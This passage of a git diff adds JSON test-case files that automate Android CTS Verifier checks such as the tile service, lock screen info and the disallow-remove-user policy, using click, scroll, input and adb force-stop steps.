Verifier\"}],\"className\":\"android.widget.Button\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":126.33333333333333,\"y1\":652.0,\"x2\":233.33333333333334,\"y2\":694.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Tile Service for CTS Verifier\"}],\"className\":\"android.widget.Button\",\"contentDesc\":\"Tile Service for CTS Verifier. Double tap to add.\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":126.33333333333333,\"y1\":610.0,\"x2\":233.33333333333334,\"y2\":702.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":181.5,\"y\":670.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-1.6666666666666572,\"y\":-13.666666666666742,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"83b3d4f6-f233-494f-9c22-75c225d149ce\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Tile Service for CTS Verifier\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":128.0,\"y1\":663.0,\"x2\":235.0,\"y2\":677.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"PythonScriptAction\",\"name\":\"Drag Tile Service... to add\",\"actionId\":\"b1d9c4c3-d73e-4b9d-a4c1-2bebc83d5c43\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"pololee\",\"script\":\"from python_uiautomator.ui_object import UiObject\\nfrom python_uiautomator.ui_selector import UiSelector\\nfrom python_uiautomator.device import Device\\n\\n\\nd= Device.create_device_by_slot(0)\\n \\npoint1 =  UiObject(UiSelector().text(\\\"Tile Service for CTS Verifier\\\"), d).get_center_pos()\\npoint2 =  UiObject(UiSelector().text(\\\"Edit\\\"), d).get_center_pos()\\n\\nselectors = [point1, point2]\\n\\nd.drag(selectors)\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"363320d9-7173-4138-956b-1e155e2c1e6c\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ConditionValidationAction\",\"name\":\"Click Pass after checking Tile Service for CTS Verifier is available to be added\",\"actionId\":\"9884e0d2-f51f-4a6d-b707-9f9fef153f53\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.cts.verifier:id/tiles_action_pass\"},{\"field\":\"enabled\",\"operator\":\"=\",\"value\":\"true\"}]},\"clickAfterValidation\":true}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"f8b7e95e-c11d-46af-84b4-a99b0955c448\",\"c89a02dd-73f1-4813-b048-05ac8374e670\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"f852c3fc-ca3a-4f55-8dcc-0b6e9f8e47c7\",\"bc4f5534-26cb-4b19-b548-609b6c8e326e\",\"6f268fc7-772a-426d-ab18-4e9b2eefa03e\",\"31902e22-dd19-4a14-9a1f-5bca034bacd5\",\"c65cebf0-7eb0-4bf0-926a-8333469498ca\",\"bc4f5534-26cb-4b19-b548-609b6c8e326e\",\"3deb30a8-0785-40ed-8151-51e63682e3fc\",\"3a461072-f9ea-49d9-b44a-490b7ce21493\",\"b1d9c4c3-d73e-4b9d-a4c1-2bebc83d5c43\",\"363320d9-7173-4138-956b-1e155e2c1e6c\",\"5f45dc78-6a4a-4b87-b860-01e0c4b7a04d\",\"31902e22-dd19-4a14-9a1f-5bca034bacd5\",\"9884e0d2-f51f-4a6d-b707-9f9fef153f53\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"test_Tile Service Test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.329000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/02368e5e-0086-4c12-9a05-55c25015d488 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/02368e5e-0086-4c12-9a05-55c25015d488
new file mode 100644
index 0000000..91d71c0
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/02368e5e-0086-4c12-9a05-55c25015d488
@@ -0,0 +1 @@
+{"uuid":"02368e5e-0086-4c12-9a05-55c25015d488","details":"{\"type\":\"CompoundAction\",\"name\":\"15-24-Set lock screen info\",\"actionId\":\"02368e5e-0086-4c12-9a05-55c25015d488\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Set lock screen info\",\"actionId\":\"80c8fb71-bd50-48ab-bfcd-1792a1e34793\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Set lock screen info\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"272081a0-93b4-4444-8c9b-d142f7e84a65\",\"displayText\":\"Set lock screen info\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Set lock screen info\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":362.3333333333333,\"x2\":360.0,\"y2\":406.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":75.0,\"y\":383.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":105.0,\"y\":0.8333333333333144,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"272081a0-93b4-4444-8c9b-d142f7e84a65\",\"firstText\":\"Set lock screen info\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Set lock screen info\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":4.0,\"y1\":371.0,\"x2\":146.0,\"y2\":396.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Set lock screen info\",\"actionId\":\"d52d8823-8803-457a-a1ba-2974ea2c4f72\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Set lock screen info\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/edit_text_widget\",\"actionId\":\"282a858e-948d-4187-a99d-52d47f5ac2c7\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/edit_text_widget\"},{\"type\":\"InputAction\",\"name\":\"INPUT text \\\"Lock screen info test\\\"\",\"actionId\":\"aabbcc19-f0eb-4fbf-83d5-bddd74c5f406\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":0,\"inputString\":\"Lock screen info test\",\"isSingleChar\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/update_button\",\"actionId\":\"85080104-f56b-4566-a51d-f0e0bdf5b5a7\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/update_button\"},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Lock screen\",\"actionId\":\"3cfeae51-ebf5-4918-9bdd-52c5110809ac\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Lock screen\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"f47ace68-a70d-4ce3-b512-b84ace5bce5c\",\"displayText\":\"Lock screen\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"1da560f5-6ca8-40d5-8d8b-3e0e3325446f\",\"displayText\":\"Lock screen\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"663a4369-87f4-48fb-908b-a26adcea5708\",\"displayText\":\"Lock screen\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Lock screen\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":557.3333333333334,\"x2\":146.0,\"y2\":577.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-6.0,\"y\":0.16666666666674246,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Lock screen\"},{\"uuid\":\"2f7bfd8f-6909-44cd-83d7-c43e46d1eebd\",\"displayText\":\"Show all notification content\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Show all notification content\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":577.0,\"x2\":230.0,\"y2\":594.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Show all notification content\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":542.6666666666666,\"x2\":345.3333333333333,\"y2\":609.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Lock screen\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":542.6666666666666,\"x2\":360.0,\"y2\":609.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":112.0,\"y\":567.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":68.0,\"y\":9.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"663a4369-87f4-48fb-908b-a26adcea5708\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Lock screen\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":67.0,\"y1\":559.0,\"x2\":157.0,\"y2\":575.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Lock screen\",\"actionId\":\"ba6d6706-3ff4-48d2-a9ab-21f428cfff03\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Lock screen\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Add text on lock screen\",\"actionId\":\"8e2e0396-227e-4188-96f6-e5a084ef4cb6\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Add text on lock screen\"}],\"childrenIdList\":[\"44291145-6774-4ba3-9caf-731853cef58e\",\"80c8fb71-bd50-48ab-bfcd-1792a1e34793\",\"d52d8823-8803-457a-a1ba-2974ea2c4f72\",\"282a858e-948d-4187-a99d-52d47f5ac2c7\",\"aabbcc19-f0eb-4fbf-83d5-bddd74c5f406\",\"85080104-f56b-4566-a51d-f0e0bdf5b5a7\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"a3737847-5957-4a6a-a50c-242e80b93d8a\",\"3cfeae51-ebf5-4918-9bdd-52c5110809ac\",\"ba6d6706-3ff4-48d2-a9ab-21f428cfff03\",\"8e2e0396-227e-4188-96f6-e5a084ef4cb6\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"da770381-d17c-48ca-8aba-def4338ef96b\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-24-Set lock screen info","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.155000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/023dd500-a856-4a6e-a2bb-a94d616de615 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/023dd500-a856-4a6e-a2bb-a94d616de615
new file mode 100644
index 0000000..90f42f5
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/023dd500-a856-4a6e-a2bb-a94d616de615
@@ -0,0 +1 @@
+{"uuid":"023dd500-a856-4a6e-a2bb-a94d616de615","details":"{\"type\":\"CompoundAction\",\"name\":\"Close CTS-V\",\"actionId\":\"023dd500-a856-4a6e-a2bb-a94d616de615\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"CommandLineAction\",\"name\":\"Close CTS-V\",\"actionId\":\"a9bcf8db-3f01-486f-980d-368d1a784731\",\"actionType\":\"COMMAND_LINE_ACTION\",\"delayAfterActionMs\":100,\"createdBy\":\"pololee\",\"commandLine\":\"shell am force-stop com.android.cts.verifier\",\"isAdbCommand\":true,\"expectedReturnCode\":\"0\",\"commandlineExecutionTimeoutSec\":5,\"needShellOutput\":false,\"uicdVariableName\":\"\"}],\"childrenIdList\":[\"a9bcf8db-3f01-486f-980d-368d1a784731\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Close CTS-V","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325438.989000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/02e61821-abdc-499f-8cfb-82c7912a7e1f b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/02e61821-abdc-499f-8cfb-82c7912a7e1f
new file mode 100644
index 0000000..49eeb51
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/02e61821-abdc-499f-8cfb-82c7912a7e1f
@@ -0,0 +1 @@
+{"uuid":"02e61821-abdc-499f-8cfb-82c7912a7e1f","details":"{\"type\":\"CompoundAction\",\"name\":\"Dismiss instructions\",\"actionId\":\"02e61821-abdc-499f-8cfb-82c7912a7e1f\",\"actionType\":\"COMPOUND_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-If \\\"OK\\\" button exists, Click to dismiss.\",\"actionId\":\"347bbd5f-d15a-48e2-9366-68c841d1bf2f\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"android:id/button1\"}]},\"clickAfterValidation\":true}],\"childrenIdList\":[\"347bbd5f-d15a-48e2-9366-68c841d1bf2f\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Dismiss instructions","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.321000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/034d5968-a791-4164-8b00-450ddadb3db1 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/034d5968-a791-4164-8b00-450ddadb3db1
new file mode 100644
index 0000000..0e4afe5
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/034d5968-a791-4164-8b00-450ddadb3db1
@@ -0,0 +1 @@
+{"uuid":"034d5968-a791-4164-8b00-450ddadb3db1","details":"{\"type\":\"CompoundAction\",\"name\":\"Click \\\"Grant\\\" button\",\"actionId\":\"034d5968-a791-4164-8b00-450ddadb3db1\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Grant\",\"actionId\":\"25bf5c59-353d-4211-af07-4f54bf2070e9\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Grant\"}],\"childrenIdList\":[\"25bf5c59-353d-4211-af07-4f54bf2070e9\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Click \"Grant\" button","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.175000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/03d55006-a23c-4f22-a56d-2d8de633cf3c b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/03d55006-a23c-4f22-a56d-2d8de633cf3c
new file mode 100644
index 0000000..e94a456
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/03d55006-a23c-4f22-a56d-2d8de633cf3c
@@ -0,0 +1 @@
+{"uuid":"03d55006-a23c-4f22-a56d-2d8de633cf3c","details":"{\"type\":\"CompoundAction\",\"name\":\"17-05-Disallow remove user\",\"actionId\":\"03d55006-a23c-4f22-a56d-2d8de633cf3c\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow remove user\",\"actionId\":\"20b3f7d5-2c70-4190-adc4-36531e3a73a5\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow remove user\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, More options\",\"actionId\":\"48ab6ab5-8fc2-4988-8b66-7d0c47764bf8\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"More options\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY \\\"Delete managed user from this device\\\" option in the overflow menu is disabled\",\"actionId\":\"1a51c322-dd9e-46e3-bc14-dfdf9e9253c1\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"contains\",\"value\":\"Delete managed user from this device\"},{\"field\":\"checked\",\"operator\":\"=\",\"value\":\"false\"}]},\"clickAfterValidation\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, Delete managed user from this device\",\"actionId\":\"922d1d25-9794-4875-bf41-c34bf5174a6f\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT\",\"selector\":\"Delete managed user from this device\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"4d06c29e-4368-4ad8-955e-521405138f79\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"ce49b7d4-4581-495c-8448-01b68587d691\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"20b3f7d5-2c70-4190-adc4-36531e3a73a5\",\"fa171789-d776-46b6-ac6f-39961c4c3414\",\"7e951186-50c3-400e-a5c6-e931dd32a30b\",\"48ab6ab5-8fc2-4988-8b66-7d0c47764bf8\",\"1a51c322-dd9e-46e3-bc14-dfdf9e9253c1\",\"922d1d25-9794-4875-bf41-c34bf5174a6f\",\"bcc40c72-d997-4128-80a1-6aca3603c260\",\"4d06c29e-4368-4ad8-955e-521405138f79\",\"ce49b7d4-4581-495c-8448-01b68587d691\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"17-05-Disallow remove user","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.200000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/03e19599-15d9-4cff-acc4-88b977853f25 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/03e19599-15d9-4cff-acc4-88b977853f25
new file mode 100644
index 0000000..b3bbf61
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/03e19599-15d9-4cff-acc4-88b977853f25
@@ -0,0 +1 @@
+{"uuid":"03e19599-15d9-4cff-acc4-88b977853f25","details":"{\"type\":\"CompoundAction\",\"name\":\"Verify if screen back to Managed device info tests page\",\"actionId\":\"03e19599-15d9-4cff-acc4-88b977853f25\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if screen in Managed device info tests page\",\"actionId\":\"d9c81007-11d3-4591-bd29-786bb1711fa9\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Managed device info tests\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"9e03a57a-8bac-4a91-8d4d-f58ce7a8bdc4\",\"displayText\":\"Managed device info tests\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"f9466701-7fa2-4ec1-a8e0-916cdffc5e8e\",\"displayText\":\"Navigate up\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageButton\",\"contentDesc\":\"Navigate up\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":24.5,\"x2\":49.0,\"y2\":73.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Navigate up\"},{\"uuid\":\"2ca57014-bd4f-46e5-9675-79d9758a3090\",\"displayText\":\"Managed device info tests\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"text\":\"Managed device info tests\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":37.25,\"x2\":276.75,\"y2\":60.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":4.875,\"y\":-2.125,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Managed device info tests\"}],\"className\":\"android.view.ViewGroup\",\"resourceId\":\"android:id/action_bar\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":24.5,\"x2\":360.0,\"y2\":73.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":165.0,\"y\":51.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":15.0,\"y\":-2.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"2ca57014-bd4f-46e5-9675-79d9758a3090\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Managed device info tests\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":48.0,\"y1\":36.0,\"x2\":282.0,\"y2\":66.0}},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Managed device info tests\",\"actionId\":\"d765dbee-bf76-4874-8343-e6b8f63cf4e0\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Managed device info 